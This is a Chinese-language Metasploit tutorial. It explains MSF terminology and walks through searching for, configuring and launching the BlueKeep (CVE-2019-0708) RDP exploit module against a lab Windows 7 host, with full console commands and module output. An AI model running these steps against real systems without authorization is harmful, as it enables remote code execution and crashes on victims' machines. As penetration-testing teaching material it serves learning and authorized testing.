1.MSF工具使用简介及命令使用(kali系统)

1.1什么是MSF:

Metasploit就是一个漏洞框架,是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。

1.2MSF安装要求

硬盘空间:至少有10GB的储存空间;分区建议是以NTFS,Ext3或者其他类型进行分区;FAT32不支持大文件运行(MSF会使用到一些大型文件)。

内存:处理器的处理速度大于或者等于400MHz就可以使用Kali系统.

网络设备:你可以使用Cat5接口进行访问。请确保你的网络设备有DHCP,如果没有,那么请自己为你的kali分配IP。当然,你也可以用无线网络,但是请为你的无线网卡安装相对应的驱动。

软件:这里建议使用者安装两套操作系统。一台是Kali系统,一台是测试系统。这样做的原因是能够方便安全人员进行攻击测试。

虚拟机:我们的建议是用虚拟机来运行kali系统。

Kali Linux: Kali是以Linux系统进行封装的。Kali系统的有点在于这个系统集合了大量的优秀的安全工具,同时还能对这些工具进行升级。其中也包含了MSF。Kali系统的下载地址是:Get Kali | Kali Linux 。如果你安装完了Kali系统,你可以打开控制窗口,使用以下命令对Kali系统进行升级。

升级指令:“apt-get update && apt-get upgrade”*

Metasploitable系统:使用那些linux漏洞,MSF的开发团队他们制作出了Metasploitable系统。这个系统包含了大大小小的linux漏洞,十分适合做为测试系统。现在的Metasploitable已经有了第二套版本,下面是下载地址:

kail最新版下载地址

Index of /base-images/kali-weekly/

注意: 测试系统下载下来后是zip格式的。解压后使用VM打开。如果是VMware的,直接打开用VMware打开Metasploitable.vmx文件即可。

1.3 MSF专业术语讲解
1.3.1渗透攻击(Exploit)

渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。

1.3.2攻击载荷(Payload)

攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

1.3.3溢出代码(Shellcode)

shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

1.3.4模块(Module)

在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。

1.3.5监听器(Listener)

监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

2.漏洞探测过程

大致流程如下:

大致流程:
msfconsole         #在kali运行msf软件   
search 漏洞编码    #(MSXX-XX/CVE-XXXX-XXX/关键字/msf 模块信息)
use xxx           #(exploit auxiliary payload post)
info  #查看详细信息
--set target   #系统主机
show options  
--set rhosts  xx.xx.xx.xx   -- #攻击的目标主机
--set lhosts  xx.xx.xx.xx   -- #kali主机地址
exploit/run        #开始攻击
渗透成功,就会建立会话信息(kali--目标主机)
会话管理命令:upload download等

详细步骤:

步骤一:在kali系统中运行msf软件 :msfconsole
┌──(root㉿lan)-[~]
└─# msfconsole         #输入msfconsole运行msf软件
     

       =[ metasploit v6.2.1-dev                           ]
+ -- --=[ 2225 exploits - 1171 auxiliary - 398 post       ]
+ -- --=[ 864 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x

msf6 > 

msf运行使用后,输出的模块信息解读:

序号输出信息解释说明
01exploits表示渗透工具 渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为;
02auxiliary表示辅助扩展
03payloads表示攻击载荷 攻击载何是期望目标系统在被渗透攻击后而执行的代码,相当于攻击植入的木马信息(后门信息);
04encoders表示编码信息 在进行对攻击行为做免杀处理时,需要利用到相应的编码信息
05nops表示绕过信息 在被攻击网站设置了相关安全防护服务(IPS/IDS)后,可以进行安全防护服务的绕过操作
06evasion表示绕过信息 在被攻击网站设置了相关安全防护服务(WAF/IPS/IDS)后,可以进行安全防护服务的绕过操作
步骤二:进行漏洞验证:

如:测试编号为cve-2019-0708 的漏洞(windows7漏洞)

根据漏洞编号,用search查找相应的漏洞攻击工具:
msf6 >  search cve-2019-0708    
选择模块利用CVE-2019-0708(BlueKeep)漏洞:(use  编号或模块名称)
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
#选择此模块
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > 

------------------------------------------------

查看模块详细内容:info
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > info

       Name: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free  #模块的名称
     Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce  #完整的模块路径
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)  #许可协议
       Rank: Manual  #严重等级
  Disclosed: 2019-05-14

Provided by:  #提供者
  Sean Dillon <sean.dillon@risksense.com>
  Ryan Hanson
  OJ Reeves <oj@beyondbinary.io>
  Brent Cook <bcook@rapid7.com>

Available targets:  
# 目标主机相对于的系统,列出了不同的目标ID,对应于不同版本的Windows 7 SP1和Windows Server 2008 R2,以及在不同虚拟化环境下的配置。
  Id  Name
  --  ----
  0   Automatic targeting via fingerprinting
  1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
  2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
  3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
  4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
  5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
  6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
  7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
  8   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)

Check supported:  #检查支持
  Yes

Basic options:  #需要设置的基本选项
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  RDP_CLIENT_IP    xxx.xxx.x.100    yes       The client IPv4 address to re
                                              port during connect
  RDP_CLIENT_NAME  ethdev           no        The client computer name to r
                                              eport during connect, UNSET =
                                               random
  RDP_DOMAIN                        no        The client domain name to rep
                                              ort during connect
  RDP_USER                          no        The username to report during
                                               connect, UNSET = random
  RHOSTS                            yes       The target host(s), see https
 #RHOSTS:设置为目标主机的IP地址,为必填项。
                                              ://github.com/rapid7/metasplo
                                              it-framework/wiki/Using-Metas
                                              ploit
  RPORT            3389             yes       The target port (TCP)
  #RPORT:端口
Payload information:  #提到了payload的空间大小,这里是952字节
  Space: 952

Description:  #漏洞的细节
  The RDP termdd.sys driver improperly handles binds to internal-only 
  channel MS_T120, allowing a malformed Disconnect Provider Indication 
  message to cause use-after-free. With a controllable data/size 
  remote nonpaged pool spray, an indirect call gadget of the freed 
  channel is used to achieve arbitrary code execution. Windows 7 SP1 
  and Windows Server 2008 R2 are the only currently supported targets. 
  Windows 7 SP1 should be exploitable in its default configuration, 
  assuming your target selection is correctly matched to the system's 
  memory layout.  
HKLM\SYSTEM\Curr  entControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam 
  *needs* to be set to 0 for exploitation to succeed against Windows 
  Server 2008 R2. This is a non-standard configuration for normal 
  servers, and the target will crash if the aforementioned Registry 
  key is not set! If the target is crashing regardless, you will 
  likely need to determine the non-paged pool base in kernel memory 
  and set it as the GROOMBASE option.

References:  有关漏洞的外部链接和资源
  https://nvd.nist.gov/vuln/detail/CVE-2019-0708
  https://github.com/zerosum0x0/CVE-2019-0708
  https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html

Also known as:
  Bluekeep

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > 
选择目标主机相对于的系统:(set target  编号)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1

-------------------------------------- 

当前选定渗透攻击模块的所有可配置参数及其当前设置:(show options)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

 ------------------------------------------

填写目标主机IP及查看当前模块配置参数:

(目标主机ip为10.0.0.102)

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 10.0.0.102
---
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

----------------------------------------------- 

进行攻击:(exploit或run)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

------------------------------------------- 

攻击成功(查看目标主机崩溃)
退出当前模块:(back)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > back
msf6 >   #可进行下一个漏洞测试验证
退出msf:
msf6 > quit
                                                                             
┌──(root㉿lan)-[~]
└─# 

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
  • 在进行任何渗透测试或漏洞利用之前,请确保你有合法授权,遵守所有适用法律和道德规范。
  • Metasploit 及其模块会定期更新,因此建议使用最新版本以获取最准确和最新的漏洞利用工具。
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐